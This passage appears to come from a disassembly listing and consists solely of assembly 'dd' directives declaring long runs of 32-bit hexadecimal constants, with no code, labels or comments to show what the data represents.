		dd 5B74A6A8h, 926AA831h, 1A752504h, 26A3CAEAh, 0DB025DFCh
		dd 566162EEh, 840165A9h, 0D181E409h, 0CDC459Ch,	3CB360A8h
		dd 22BA1182h, 708E1495h, 0EB6F9DA2h, 268DCE40h,	0AD06122Fh
		dd 0A96D01FBh, 2D026A99h, 2531B87Ch, 0DE045ACCh, 0A9774010h
		dd 6C0FC0h, 0B60ECBC2h,	0FC63F092h, 3205BE00h, 78848CBFh
		dd 823F9C4Fh, 2CFD9529h, 0BD7B967Fh, 9767064Dh,	6418F4C9h
		dd 78C9C709h, 0D094F820h, 0FE51E989h, 25AB7183h, 0DDF85B8Ah
		dd 0E73533C0h, 942126h,	0EB812FCCh, 9ABC5F2h, 1DC889Ch
		dd 2537662Ch, 42890C3Dh, 0E2560B92h, 46CAC2EBh,	0B97F4EB4h
		dd 0AD903E48h, 0ED0040FAh, 0B529F1CFh, 9400C5B8h, 860D9980h
		dd 98B1BAC1h, 0B40995CEh, 19C3F57h, 33A86EF8h, 9B702B61h
		dd 23A5D9E3h, 642F6EFDh, 8FA0004h, 0ED431B41h, 5A16F32Eh
		dd 5A0B3BF0h, 0F7B96A9Dh, 3B6AF569h, 2EEFC2A0h,	0B091E86h
		dd 3D770B09h, 0FDAE17BDh, 0B58D8258h, 51B35632h, 0F1801504h
		dd 95B0C1F1h, 170003E6h, 0B63133F8h, 11618E3h, 0A83F9EEAh
		dd 0F0BB70E6h, 69015991h, 9D2371E4h, 0CC3F0F4Dh, 9ABFD6D6h
		dd 30995495h, 0BBB22268h, 534C5A05h, 534BBA62h,	46ABFE9Dh
		dd 0C1A22CC1h, 0E62F9E54h, 980695C0h, 39223260h, 0F5852D26h
		dd 2B610480h, 1444E8C8h, 0EFF200B2h, 76588218h,	0A900C64Dh
		dd 0C8D92A41h, 12BF620h, 0B356B070h, 6A8B5FAFh,	263BE9C1h
		dd 0CC3F6AFDh, 0A63DCCC2h, 4F4940B7h, 80D4B927h, 0C12236Dh
		dd 0ADF74EB8h, 0DBD08D9h, 5289652Dh, 0BAFA464h,	0FEB5F28Bh
		dd 36E98B12h, 0FD25BEF9h, 28C7AAA0h, 33509967h,	174A5589h
		dd 8A1BC0D8h, 526C09D7h, 21A550F3h, 82D390FEh, 32CE0F5Eh
		dd 0DD10ADB6h, 0EC0B7DFAh, 10273042h, 9F125540h, 6DA776E5h
		dd 0CB80C0AEh, 4E0291D4h, 10A070BBh, 45D85DB9h,	0EEEA6665h
		dd 0FCB182FFh, 0E0EEDE4Dh, 4C256463h, 15B52531h, 0DC8A7981h
		dd 791E20FCh, 0B7231140h, 0D0F4BE89h, 0E744C9h,	2A23C56Fh
		dd 8992B9B3h, 948E100h,	0C9E9A78Dh, 71454B86h, 2ADF0B97h
		dd 86B168Dh, 152C0EC9h,	5C8531C2h, 0CA47A5C6h, 44D38180h
		dd 9E245D26h, 9C12DCA3h, 0CEB52C8Ch, 0F078A63Eh, 249C52DBh
		dd 0B0634E0h, 667E19D9h, 201A51E6h, 5B620491h, 553185F6h
		dd 0F1B31138h, 0A7EC9795h, 0EF005535h, 3B74DA1h, 0C6340B90h
		dd 0BE989262h, 480080DDh, 4C67427Eh, 2A7D766h, 0BB0C0353h
		dd 45CC96Eh, 0D4C28D51h, 0E00EF421h, 40B5F2D0h,	6B2147A8h
		dd 0FBD32D80h, 0B7D4AA5Ch, 0B77121B0h, 0DA999700h, 69D55FEDh
		dd 9DBD2533h, 3CE39848h, 7EFDD412h, 530448E3h, 0BEE1FF5Bh
		dd 0AD4BAA6Eh, 618B8AC9h, 11456525h, 17364821h,	39FC151Dh
		dd 992A29E2h, 732DB309h, 984DC710h, 6754F6ADh, 0C1F584FCh
		dd 20459C8h, 0EF22FF61h, 0F6F07D9Dh, 0DCD10995h, 5709DC20h
		dd 8EF3CC98h, 250248CFh, 175F29F0h, 6822F4E3h, 0D3DE8A27h
		dd 181D59C2h, 2A593F5Eh, 0E59ACE00h, 9F171BCh, 115FB573h
		dd 0DAD7F6E2h, 66568002h, 8E2309h, 81F34B2Ch, 7B8CFFEBh
		dd 0DA903F2Eh, 6040509Ch, 10B85857h, 3E532EDFh,	0DB901258h
		dd 0A95984CBh, 0D4050A82h, 37DFA51Fh, 0E47000FDh, 0C868C542h
		dd 2DDCEF13h, 5CC0EC17h, 0F3C3EC37h, 2706E2Bh, 0E14E9776h
		dd 0D6175467h, 74161546h, 0F8B20B48h, 307019F0h, 91343597h
		dd 6C14801Dh, 38011691h, 4A1A78F0h, 0A3DD5686h,	0F5DBE9B8h
		dd 5F7AABh, 3D2F03A4h, 97AC87DEh, 36D9191Ah, 0F4DA1600h
		dd 1D590CAh, 0F3A47804h, 3F5D76E8h, 4009AA9Ch, 0D704810Fh
		dd 28432DDEh, 8D4F5ACh,	0AA1C6D16h, 0DA2BAA2Dh,	21BF9263h
		dd 3BC6FB28h, 0DF60A709h, 0BE56811Ah, 733CE000h, 63BEB2h
		dd 17C4A772h, 3476E12Fh
		dd 0A2C5DC32h, 616CC899h, 0B9FCE689h, 4D8680F5h, 5A5683D6h
		dd 7327F691h, 0E03AD138h, 9E14457Ah, 179A1760h,	11FD3165h
		dd 0B2FC2B90h, 0C294CF02h, 0E0E19663h, 4E4F85A8h, 0DA179158h
		dd 64A32F53h, 81615907h, 0D0A09EC3h, 0D88B9616h, 90B85074h
		dd 0BFD45A9Fh, 1464E56Dh, 9D0B1360h, 2720B95Dh,	1F9C450h
		dd 6D3FC9C0h, 834A57C1h, 0F4FB68E2h, 8CAADD34h,	0CB040801h
		dd 4291805Ch, 0F704F990h, 6E3F5E2Bh, 7FAC03A5h,	0B9B6CD4Fh
		dd 302ECF69h, 5090F978h, 8E3CBF1Ch, 0DAEE0B1Dh,	9F1FF227h
		dd 0DC5AFCFBh, 0B702C0C1h, 0B90003EEh, 0B3C88842h, 13BB6108h
		dd 0AC331C1Eh, 204A78B9h, 34D7D7A3h, 0C193C127h, 0FECE3E0Eh
		dd 0BA273C35h, 0C00886Eh, 410B5931h, 6609D0B4h,	5589E1D3h
		dd 27E96268h, 0D8249A1h, 3A4CF16Bh, 54BACBA3h, 5BB50F76h
		dd 722FD0E5h, 96F89B26h, 1326669h, 0CB730F9h, 2E5E3DAFh
		dd 50AD1029h, 0F4440B6Fh, 0D2E2EE87h, 5AC878C7h, 0AC29C449h
		dd 1EEB3ECh, 11DB815Fh,	7E7404BCh, 5CA2AA8Ah, 0AE847DA4h
		dd 0F0028DF3h, 5730D942h, 0BDE2307Fh, 932142ADh, 1300016Fh
		dd 0B0E26F53h, 87A09708h, 365FD9CFh, 0F64AB3E7h, 8862A0FFh
		dd 0D0B502E8h, 492BD531h, 5196A468h, 505F08C4h,	1EF87F85h
		dd 0EAF2D8CFh, 180188h,	0C6D21F5Ch, 1A81BEE0h, 0E743F00h
		dd 306D7C49h, 8D89E1Bh,	5F02182Dh, 0FFC19D31h, 0B725D314h
		dd 0B3EC6EC6h, 76ED5826h, 5B3C8800h, 0F54BFE85h, 0BB6609B9h
		dd 288ADC22h, 0D1CC2320h, 4F351815h, 4A07F7DFh,	7AA054A6h
		dd 48269517h, 0D62DC4FDh, 8051A5EFh, 13E5E454h,	13D4F0EDh
		dd 0E152BB01h, 1DAC86A9h, 9A90148Ch, 0A83B9E17h, 0F85C6309h
		dd 309CFB58h, 8B671740h, 57D100D4h, 1B5FBDAh, 0AF04C115h
		dd 0E2888CD8h, 0CB8F3D9h, 62A53A45h, 0A2B8C57Dh, 138C9105h
		dd 22F1B2B9h, 312E9EEDh, 0FC3BBB15h, 50974F51h,	0AC1A4EA5h
		dd 85FAB56Bh, 0B94E16BCh, 29BF8ECh, 89EC904Bh, 94F71DB5h
		dd 0FC8A2E37h, 0A1118h,	15F1363Ch, 7473E031h, 0A8234A96h
		dd 19B9846Dh, 836D4129h, 0FD352BFDh, 0A8CE34EAh, 0DC7AA2FCh
		dd 0A502F6C2h, 69BE009h, 99C76081h, 9D75C60Eh, 960869BDh
		dd 8305830Fh, 0E9C9B7BBh, 4630ABF5h, 70DF267Dh,	1D9400E2h
		dd 70C99B39h, 35050D0Eh, 96F17311h, 53C07EDBh, 0D3827505h
		dd 113F9D16h, 0B2C412BAh, 84018FC6h, 65B92669h,	0B3BCF5D1h
		dd 9B951004h, 97D8880Fh, 9F3997DFh, 5F723895h, 1AB2DAB6h
		dd 491D330h, 0E6861833h, 0A26BB86Fh, 0B9762C37h, 3BA81F4Eh
		dd 0C047DAB4h, 8B151308h, 210D25A2h, 0BD016CC0h, 25937E97h
		dd 46F6F1FCh, 83FC5F19h, 6268097h, 0CE4FE93Dh, 5E0F5BF0h
		dd 8935528Fh, 0E413D465h, 4EEBC705h, 0F9BCC18Bh, 3640EE96h
		dd 8E149D26h, 48D4791Fh, 0B24ACF24h, 0A5CC4AFBh, 0E109F52h
		dd 0AC1C5C97h, 860464E0h, 78CCAD1Eh, 5CF0FBA0h,	0B996012Bh
		dd 0BE4C9FDFh, 393C2055h, 5F7FC00Eh, 43C2335Bh,	0FE137FD8h
		dd 0E7C813B4h, 0F24100A1h, 740EF95Ch, 0B8E4A6CFh, 0D1C8A004h
		dd 16FF1DE3h, 27A66F0Eh, 18859DFh, 44ED00Ch, 608531FBh
		dd 4439729Dh, 1EC81C6h,	6A5F49B3h, 27BCB839h, 3F91B02h
		dd 0D66AE032h, 0CC4A3BABh, 154155FDh, 9A22B700h, 0B82EFD0Bh
		dd 0F57811Ch, 57A50E8Ah, 0AB00D971h, 534AC79Dh,	648D17F4h
		dd 0F800FD5Bh, 60F700B5h, 4B11BD36h, 30055466h,	5290DD8Ah
		dd 0FEBB7FC1h, 0AF47ECE4h, 380C46BBh, 0BB4FE89Fh, 89AE504Ah
		dd 9D194BE5h, 1F9A2A7Eh, 0D7C91DC8h, 80BE1596h,	0AF105347h
		dd 60A5B87Ah, 8F84C08Ah, 0D14AFF91h, 53A92C04h,	9DA286B8h
		dd 9AC045EFh, 511A8F27h, 283BEA3Dh, 0DE000772h,	1E7549A9h
		dd 34B6002h, 7A4F1627h,	0A1983E58h, 6A7ECD72h, 799D290Bh
		dd 0C2DF5C21h, 0B75D2404h, 9936057Fh, 2FB4FC2Bh, 7906FB2Eh
		dd 0B251818h, 0BF3B9A5Ch, 1210EB5Eh, 0E3BAE912h, 92C8981h
		dd 0D7375F7Fh, 0BE208080h, 0B2782C1h, 0FA6F9B67h, 15CECD40h
		dd 0E6DC8D9Ch, 0C7BF00C5h, 99A46EDCh, 6679A359h, 5B19A725h
		dd 0A7EDA565h, 5027540h, 190484Eh, 68DAEC3h, 0FDA25BB8h
		dd 35C7DE00h, 4E80B363h, 38F0F4h, 60504317h, 0A5D653B8h
		dd 0D08B2305h, 82AE9061h, 59570414h, 0AF428083h, 6A645213h
		dd 4A70C504h, 0A0B87A96h, 0A207B6A4h, 0D4954917h, 0DDED5FD6h
		dd 4B6017C4h, 0E2126EF2h, 23EF0BF5h, 0B8F4B76Dh, 6304D6C3h
		dd 6A0F11A9h, 2C82F5ABh, 0F35D026Dh, 64767879h,	3B9F3197h
		dd 5FDBBB10h, 0B024C81Ch, 0A9BD0305h, 70E61AD1h, 4E803E6Ch
		dd 57CA9589h, 22840D00h, 3C239731h, 0C28707A4h,	0A5EC8224h
		dd 7F44FFB9h, 0C181BC1h, 19973339h, 8F08FDAFh, 533DA195h
		dd 0D02AFA8Bh, 3D39BB4Fh, 0BA5A5CFEh, 0D5D1131h, 12C15793h
		dd 15B0B109h, 6430AB53h, 3EA10Eh, 0A8EE9A81h, 5EC837B3h
		dd 0DB369612h, 882A1F30h, 2F800A0h, 0FFE3EBAAh,	0C97E6CDh
		dd 9AFDF2D3h, 0C82B128Fh, 9124EF03h, 8D2305FFh,	9BDB54F5h
		dd 0E9DAAE09h, 7DA09059h, 217DC6B0h, 43FBBA9Fh,	5518E248h
		dd 73576891h, 81EA0011h, 4170028Eh, 3B481433h, 891EF775h
		dd 5BCF89F0h, 0B511CC72h, 13883091h, 56EF569Fh,	0AB5B4454h
		dd 0B5018321h, 0BE3A523Fh, 3C6C0DC9h, 26CBC84Ah, 0E49E5789h
		dd 14C42CE6h, 0FE2018A5h, 71079682h, 15416329h,	0E1BD5B08h
		dd 0D66C2504h, 6BA4C7Bh, 942BAA82h, 72EF53FCh, 0A77AC3B1h
		dd 0D7EC4E3Eh, 0B95280D7h, 0DB9D0929h, 0BCCD2F3h, 340F9819h
		dd 55C20598h, 40E89591h, 9C552B4Ch, 53E8D72h, 0DB79E5Bh
		dd 1C6FC097h, 537CD525h, 0CC1A95C7h, 57E8B38Bh,	82B1189Bh
		dd 74A72A12h, 4C112400h, 0BA44B668h, 3E8CA603h,	0BC5B9546h
		dd 1DFCD5ACh, 0BD40008Ch, 0BA37C50Bh, 0E44E8BD7h, 77F7F680h
		dd 0C56D9510h, 10FCD814h, 0A85A2171h, 0F896DF5Bh, 4EEE6BEBh
		dd 1D3E9A98h, 829BCC20h, 7608595Ch, 6B616DD5h, 5102CBECh
		dd 0B7A35540h, 2265F512h, 0EB96EDAh, 272ED978h,	0C93E99E0h
		dd 96A02D9Dh, 67951BB5h, 0A06F10E6h, 364A90h, 202EC8A7h
		dd 44463F1Ch, 814332F4h, 80299B5Fh, 0D2A55052h,	74D59A4h
		dd 0D569969h, 0E1446D6h, 20BF5206h, 5F54788Dh, 0BC120BBBh
		dd 9C555CA8h, 0E215E1A6h, 16A35F9Fh, 0CAC57525h, 0F8250211h
		dd 0BE11C7C5h, 0DB604B7Eh, 0F406895Bh, 0B64E97Dh, 48848300h
		dd 0ABB0DB52h, 0C00600A8h, 0FCC17082h, 0E09F2F14h, 975FFFB6h
		dd 0C9CBF00Eh, 2900AE59h, 7D74C436h, 1A45123Eh,	6AFAE1FBh
		dd 0A01AF6Eh, 3F795BBBh, 0F0482E20h, 0FEF59672h, 0D84FD06Bh
		dd 8002DA78h, 4F8DA1AFh, 12935E6Bh, 4AECE706h, 89CF21FBh
		dd 62446FBDh, 0BBB15090h, 0D6E2Ah, 56FCBB8Ah, 0BD9223EDh
		dd 90AD8A90h, 84B1BE1Fh, 6A98A580h, 188AF31h, 5E19D58Fh
		dd 0D7BF8D75h, 7B65ECD9h, 0EDA04FF7h, 3B006D29h, 5B68F878h
		dd 959C24E5h, 1C00F944h, 3519BAD9h, 15E2885h, 1DC5C9F6h
		dd 2A3F7520h, 1EA4F9C0h, 0F6634EFAh, 8E62E0B2h,	0B44C2E9Dh
		dd 0D2BF0181h, 2A512E84h, 16ADE875h, 0D3005BA8h, 0D1339884h
		dd 9074A0B4h, 0A7F0BF5Bh, 0F0B05B97h, 94099A27h, 4B9D8BEFh
		dd 950C106Eh, 5AE90B13h, 40566F01h, 0D4B05E9Ah,	0C6B6E425h
		dd 293DA0FAh, 5938A021h, 0F9659532h, 505DFBA7h,	1713DA4Bh
		dd 5105EDF5h, 0C2EBFCACh
		dd 3AD51CF8h, 419F029Bh, 0EC125E18h, 2C6DB918h,	0A52BA10Dh
		dd 4AD34A63h, 3BA1A4B6h, 0C1132E8Eh, 3FE0A88h, 0EC9E1995h
		dd 8498472Dh, 0BF2F49A3h, 4A10152h, 252E5B12h, 0EACCEE9Eh
		dd 699D4803h, 68A4DC4Ah, 345B2FF8h, 721275F8h, 626BE060h
		dd 0C92B2C3Dh, 9B8BCB3h, 726BB16Fh, 3CAC6871h, 44011E02h
		dd 13ACD242h, 0EFC2F0BBh, 0FD82BF1Dh, 5F5CD3DBh, 379FB0F2h
		dd 0A712BF3Ch, 0F17E45E6h, 48CAAA09h, 0DA2B53Ah, 0E15FE80h
		dd 0B7751E97h, 0C8F5C990h, 5EE56C00h, 2EC5D069h, 647F165Bh
		dd 2EBFB2C1h, 8D003B76h, 0C20AFC6Fh, 986290C9h,	499EBC8Ah
		dd 4C5972FEh, 0D1250415h, 5CE90432h, 90EC9DFDh,	4A6CB71Ch
		dd 73356053h, 306100BBh, 2F61E8F4h, 0D7CF0B01h,	0BE92AC46h
		dd 0B781822Ch, 0E062F2F7h, 59B5613Ah, 0B52FDD6Eh, 0FD0F0048h
		dd 0E07DEEA9h, 45BD3312h, 9004F953h, 8EBF1C65h,	4931027h
		dd 0F5952904h, 0E37FBC1Ch, 0B3271280h, 8273ADCEh, 140F518Dh
		dd 0AC9C83F2h, 7F5BD862h, 1691F0B5h, 620EBF82h,	2A34B940h
		dd 0F8491B97h, 0BA159D0Bh, 965F0B03h, 3F5CE8B7h, 15FDAD8Ch
		dd 0FFBFD23Fh, 0FC5EA67Bh, 6BFFD36Ah, 0DB162BA6h, 0C6C02A02h
		dd 0D372578Bh, 5EB1564Eh, 955B7B70h, 855004C5h,	0A0B14BE3h
		dd 2207C285h, 5E79BE60h, 0D5FC09B2h, 7C108A33h,	0BF49262Dh
		dd 67EB8180h, 3B4B60FCh, 0AAF2ECh, 0A94955C6h, 171374F2h
		dd 65C2BDC1h, 326048D8h, 0D59D230Bh, 0B55FABABh, 194CA735h
		dd 5B02AE7Dh, 0E2A9D94Dh, 2382D79Ah, 0DF0488E0h, 2A7BABh
		dd 0B4A762ADh, 4B2D8BAEh, 265DC8BCh, 0CF97A00h,	0A315FA9h
		dd 2C7FE5h, 36F3CA69h, 16E4345Eh, 0D8D290Bh, 0B007119h
		dd 32D50375h, 5090F3E9h, 2005E86Dh, 80AAE956h, 180284B2h
		dd 907F678Bh, 6B754460h, 1FE1D600h, 0B9595F01h,	4D8027C8h
		dd 454980Bh, 0B235DFDAh, 57531F16h, 7CEDB995h, 955832BCh
		dd 366F0986h, 0A14682F2h, 258EC420h, 0C46E1A15h, 0BE3813Dh
		dd 7D2F092Dh, 9940DF15h, 0C4B1BD23h, 0FC579675h, 25F9240Eh
		dd 505F6100h, 12DE1ABFh, 0BA9648F3h, 624B56Eh, 3ED90325h
		dd 0DA10EB09h, 0FA01591h, 39D60C81h, 0AED320ADh, 4D9DA720h
		dd 1A6EB52Fh, 95DCB5BCh, 3182AC76h, 0DA30A185h,	2005452Eh
		dd 2A25D739h, 4BAF70ADh, 3813CE18h, 2BF74E60h, 9F9E4AA0h
		dd 0F9739195h, 0A313C104h, 6EC371AFh, 87C0C89Eh, 48463BE3h
		dd 3DE8744Bh, 0D5B9884Fh, 54D27501h, 66DEBA0Ch,	41BF712Eh
		dd 0A9BC4829h, 22F2155Fh, 72811388h, 4D0A2F4h, 9967FCh
		dd 0A149DD0Ah, 789ECDA7h, 0C9902E17h, 72B78EA0h, 6EEF695Fh
		dd 0FBE3F57h, 158157EBh, 2F8BAD16h, 34A21235h, 1D2F6303h
		dd 5BAA4CD2h, 4051FC5Ch, 0EE71F509h, 0B4D19D14h, 0C90DBF80h
		dd 97C633F7h, 2000D53Dh, 77EE0355h, 0D2D38082h,	5DE414Bh
		dd 60C714C8h, 3ACA581Ch, 0E9011B98h, 99087F8h, 2F74D961h
		dd 0C18B0806h, 5CA6377Fh, 0AE2614FEh, 0C0BB8F73h, 90C5C1Ah
		dd 0CA8B6050h, 0EDEF29DFh, 2B4EC0DEh, 0E2027EE8h, 1CFFAC69h
		dd 5A660ECh, 0CDFB10Bh,	687D1FFDh, 44AF0A09h, 606FF66Ah
		dd 6135DDDEh, 0A28D7209h, 98FCF46Fh, 0A9E6BAFAh, 0DE7A5697h
		dd 10747900h, 0F05CD6Ch, 970A97DBh, 41B90A5Ch, 0B80C3B82h
		dd 0CF7243AAh, 1C4487ADh, 0A7571460h, 0FD0D300h, 2905AAFCh
		dd 0EA894C9Dh, 930488D2h, 9FEA423Eh, 9865C834h,	78973788h
		dd 1D2C0019h, 0E3CAD01h, 4A485561h, 405138DCh, 0DC4EB55Fh
		dd 67B59Dh, 0D26B51A2h,	0FF1C763Ah, 8EA806E6h, 0CC16482Ch
		dd 4A538060h, 6A8F00F7h, 0BA4F56DEh, 5B01543Fh,	3A33CB7Dh
		dd 0DA7FBFEDh, 0C018C83Ch, 0D31AAD7Fh, 32B0D55Bh, 0D1FF800Ch
		dd 30108C9Eh, 0E2575213h, 0E4D2001Ah, 0B145AFA4h, 67960E61h
		dd 0E2325B40h, 0A67E88E3h, 0C0C82758h, 0D3BE026Ah, 90261010h
		dd 42FE44DAh, 93913BFh,	0E8E825h, 0C77FF43Dh, 0F04141Ch
		dd 9DCD9470h, 0A1566AFh, 42DA8B27h, 0ADB0B75Bh,	5F06F964h
		dd 0F02A8E79h, 9DF4EA0h, 0DC731369h, 862D4A5h, 19281B19h
		dd 9011D520h, 0A8165E17h, 42F0E2EEh, 8B775B3h, 0A004E9Fh
		dd 0F756F6D5h, 62E0954Bh, 62483CCFh, 9DB5D2E5h,	0F5A2A2BBh
		dd 61D48A02h, 4869BD2Bh, 0BBF906Dh, 40872E42h, 0FB3B125Dh
		dd 75FC2570h, 61401164h, 0A8C3290Bh, 3F4C4E00h,	53C1D1B6h
		dd 1AC90AB5h, 0A5C50E77h, 47C06DCDh, 0E3026003h, 85C6D82Ah
		dd 0FE1D9D27h, 34875297h, 4A76B9A9h, 39BAF9C0h,	98E24B7Ah
		dd 0D5A0539Fh, 5B810C55h, 0DD08BC3Eh, 0DEF0E4h,	0A6F98412h
		dd 0DB640941h, 104AD22Fh, 0B00B4D10h, 0BD79D9h,	66674C16h
		dd 0FE3CFD08h, 0DA20BC17h, 216804EEh, 0F0121304h, 0BBABD0BAh
		dd 59BDD323h, 0DCC4C930h, 0D371CE0Eh, 73540FAh,	0E4021DDFh
		dd 0CDB52E29h, 0B05F89FCh, 0E6DEF8A1h, 0C1728870h, 71E40926h
		dd 945A2029h, 81632360h, 250EBEEBh, 90C27EB2h, 0CC5BE2FDh
		dd 25EA7BF5h, 98C4619Fh, 20A2604Bh, 6650DD00h, 2D8FD053h
		dd 7AEB800h, 2F4BE88Eh,	0F53913D5h, 0C146825Ah,	3D054C55h
		dd 9597F08Ah, 613C4955h, 909BA70h, 5C1825B5h, 18C54A6Ah
		dd 0C82BCDA5h, 45601790h, 80D18B37h, 0F2CE62DBh, 0E9022879h
		dd 0E4348FB2h, 0CCB8A5C3h, 5B211780h, 287C82C8h, 3126F495h
		dd 7A0885A2h, 9D081A37h, 0DCD925C0h, 423DF00h, 0B30E3Eh
		dd 929EE75Dh, 0C6521528h, 66EF6012h, 3DB55B52h,	0B3A4F12Fh
		dd 0EA038E46h, 5168E961h, 0C55AB3E3h, 0E9CA71FFh, 2D8D2352h
		dd 950DA1F9h, 0F98C1DC5h, 0BF03FF8Dh, 4961BD09h, 15AE717Ah
		dd 0A5226532h, 821E2792h, 1FA88303h, 0B20FE4Ah,	16FAA901h
		dd 0AEFCF2A1h, 3193B13h, 9230878h, 0FF5ADB13h, 0BB2A7828h
		dd 6E50D830h, 77899002h, 462ECDB7h, 283103AFh, 3F743E4Ah
		dd 0C5F56DE2h, 0F74B067h, 628A0281h, 0E6F3753Ch, 0F7DE92FBh
		dd 2D29F5EEh, 7A2FC527h, 11B91A57h, 8504230Fh, 82ECB82Ch
		dd 50918509h, 0B66EF99h, 35DE3BF0h, 319EA41Dh, 0C8AE2C93h
		dd 213CD44Dh, 0F1A600FAh, 0CF781E5h, 125716Fh, 617111E3h
		dd 0D1D1B360h, 6F77C2B8h, 40BA60A7h, 5D1D6064h,	0EBD66306h
		dd 0CEFCEB07h, 0BB012DDAh, 2B3B164Ah, 0B7E03C2Eh, 0CA6E914Eh
		dd 0F6CA3725h, 0DE54DEh, 53BB3F27h, 219F2AD7h, 0E3A101EAh
		dd 0BE67E18h, 0F55132F4h, 307DB640h, 4AEDCE95h,	2553FC53h
		dd 76F0715Fh, 0A0731446h, 2F6B40FFh, 0EDB70BD3h, 7920C209h
		dd 815F0906h, 73E47Dh, 8E68D494h, 0B1BB516Bh, 14397112h
		dd 998D2BF2h, 0A2B67B3Eh, 4606FF2h, 0C4BA99B5h,	63505CA5h
		dd 35940FB8h, 14248D92h, 99B285h, 0B6FD2BEh, 4B673E8Fh
		dd 0F45CC38h, 88BC3CF7h, 4F844989h, 7F7CA1B1h, 888046DEh
		dd 6F4BA896h, 0B92D1A98h, 0C25E710Bh, 0A17B0519h, 4B3E1D0h
		dd 99BD2B3Eh, 3738AF10h, 0E7054F03h, 9EC9A0A5h,	0D99754DCh
		dd 12F9970Ch, 77049BC2h, 9E44EDCFh, 8A84CCAFh, 5660FA2Dh
		dd 4E0BDC2Ch, 8E2930F8h, 65FF32C6h, 0A076B64Eh,	1C180768h
		dd 0B215A2Ah, 45855E9Dh, 0F033E6E1h, 0AD9032h, 16436E55h
		dd 0E1CB81B3h, 52998A1Dh, 6F60C781h, 482F1B03h,	3BA44FBDh
		dd 28205908h, 2A7D4527h, 19C8C19Ah, 15A7F9C0h, 0F5D62517h
		dd 1F6247D0h, 5E0F6F08h, 0AE0365C9h, 4BFFB24h, 0F1D5895Bh
		dd 789B3E01h, 0C08FF187h
		dd 8C0FB48Dh, 3EE565B7h, 0FD3F5982h, 38C2B619h,	0C1D78209h
		dd 41696A10h, 0FB0F0BBCh, 13F8D4A4h, 29FED952h,	6E137E57h
		dd 9F796DACh, 55763E33h, 73B737B8h, 69F82502h, 8D395F5Ch
		dd 5BE92257h, 2BF9FCC7h, 0B902F5B8h, 0C7801A3Ch, 98CC834Ah
		dd 0A4F7B9B0h, 0F828322Eh, 642EED5Fh, 2DBF601Dh, 48110068h
		dd 0A136EC59h, 6338E916h, 0E6F34E02h, 2635F000h, 7DC27607h
		dd 0E2486C25h, 0E8BD7D9Ah, 0CBEE4F82h, 4DF28252h, 0BC5F0418h
		dd 0ECE3D3B4h, 7D9D2304h, 0D396BD0Ah, 5D801C9Bh, 0C1E0AF59h
		dd 0B7B84C01h, 0D88BD204h, 0F9B7322Fh, 0B75FB18Bh, 65EC8448h
		dd 5BDCB12Dh, 0C01C88D9h, 0FBEEFFAEh, 0A4F27901h, 3157886Dh
		dd 50B8F92Eh, 44A462Ah,	0EC92D4DBh, 8A895ADAh, 0BBAE606Eh
		dd 321450C9h, 2EAB57Fh,	2A05669Ah, 3984DDA5h, 44960914h
		dd 0D02C00EEh, 54DE782Eh, 400C1E8h, 8AF41A34h, 133D7CF9h
		dd 885052DDh, 0AE003983h, 9832CB76h, 2F0920A1h,	0F350B915h
		dd 24F8B25Fh, 22469627h, 6778ED93h, 97D500B5h, 723893A7h
		dd 90BD23BEh, 2AF0A1Fh,	0F0194F0Bh, 0F1D16960h,	7051803Ch
		dd 0A85C7366h, 80DC0081h, 0BF329011h, 0B901372Ah, 685F340Eh
		dd 6DF487E1h, 16CEF460h, 0A27A1405h, 5C7F38BBh,	0B1017C43h
		dd 0F46A2D21h, 1320FADAh, 615E27F3h, 841E8540h,	0ED6D0E27h
		dd 0E8A6C49Bh, 0DDDE4A81h, 20CBCC2h, 75750955h,	78539B80h
		dd 0DD259D89h, 6252DC0Dh, 0DBF4850Fh, 30E450h, 33531708h
		dd 0D74365A2h, 0EC019A7Bh, 0DD7C1913h, 0A3303F1Bh, 5B1109BFh
		dd 0A8897934h, 0C28CED55h, 4E752E09h, 0D156F2Eh, 0AAED1253h
		dd 709220DEh, 623B7F5Ch, 0E99D7E90h, 282FFC97h,	35C00DC1h
		dd 0ADC753BFh, 0DB800B4Bh, 0F92E990h, 4B776E5Eh, 0DB503DD3h
		dd 494F00BBh, 0E80F7CA3h, 70BF95B2h, 8E124E04h,	9222226Ch
		dd 9BA88599h, 475C2112h, 0ECA4BD4h, 0AE72C8A0h,	8254E295h
		dd 741DD96Fh, 7EBF518Eh, 0F34591E0h, 0F27DB62Ah, 0FC97311Ah
		dd 1C1341A3h, 2AFF778Eh, 96368789h, 60A25649h, 461A3EF8h
		dd 3244900h, 0A3CDEAAFh, 58B53CE0h, 0AB8AC312h,	9CE82081h
		dd 1588A55Bh, 185A6C0h,	954570BDh, 0C7A83A73h, 9017E920h
		dd 142E0A26h, 0A3A40DA8h, 0E5DFF0E0h, 79D5EF1Fh, 12087CE5h
		dd 1960AE0Ah, 3DB8C381h, 99BD29A3h, 123AF77Bh, 0EC75AD88h
		dd 0D83C0017h, 816CFB93h, 0E2E816F7h, 0E52A5D41h, 43F62B46h
		dd 0FE3016B2h, 0FC2EEB5Ch, 95BF8060h, 9D446529h, 0A2D57C09h
		dd 0C62050F1h, 0BBD900E0h, 9ECAC265h, 900241Fh,	85A48A41h
		dd 9CC6CE1h, 0E8207A87h, 1823C79h, 5F315995h, 9D04D8E5h
		dd 69292F21h, 37BB808h,	67103562h, 469E8F2Ah, 64B8D69Dh
		dd 0FADABFF9h, 7AC31BC8h, 9A20CF74h, 0B5E16E63h, 0B53FA7CCh
		dd 1ABFC42Dh, 52B750D8h, 7B7BD62h, 0C4FE9480h, 0A1E909FCh
		dd 8E6B3598h, 175512EFh, 71D0E6F2h, 0E9039DFCh,	0D67F7D67h
		dd 285ECECDh, 4A710BD9h, 0C8F1F395h, 3319A139h,	17FC3DB4h
		dd 0C53F21ABh, 0E050078Fh, 953BF6DAh, 0AC96F404h, 62181C6h
		dd 8FF4803Fh, 0F0FC17h,	0FF221291h, 3AD9D31h, 5BB75B80h
		dd 88B7B21Ch, 0DF60252Fh, 7D65E6E2h, 0D549FD96h, 0E9BD5E61h
		dd 63515DD3h, 9A5528Ah,	8AB350C8h, 0F07493B5h, 9300955h
		dd 0A6F66527h, 5C8AA9D5h, 4F73E9C4h, 847B5A51h,	0A2C5B895h
		dd 396E296Bh, 78FDF94Fh, 7A606EADh, 9720E2BFh, 8017835Ah
		dd 405ECCC7h, 6EAA4E38h, 900800B3h, 277CFB03h, 655312B1h
		dd 0A11E0B2Ah, 0DD09DDF9h, 0DAF55E0Dh, 1BAB57Fh, 0ED1F5D1Bh
		dd 63D9DE92h, 0C496EC00h, 1F3BD8D4h, 0FC0573E5h, 8B17339Eh
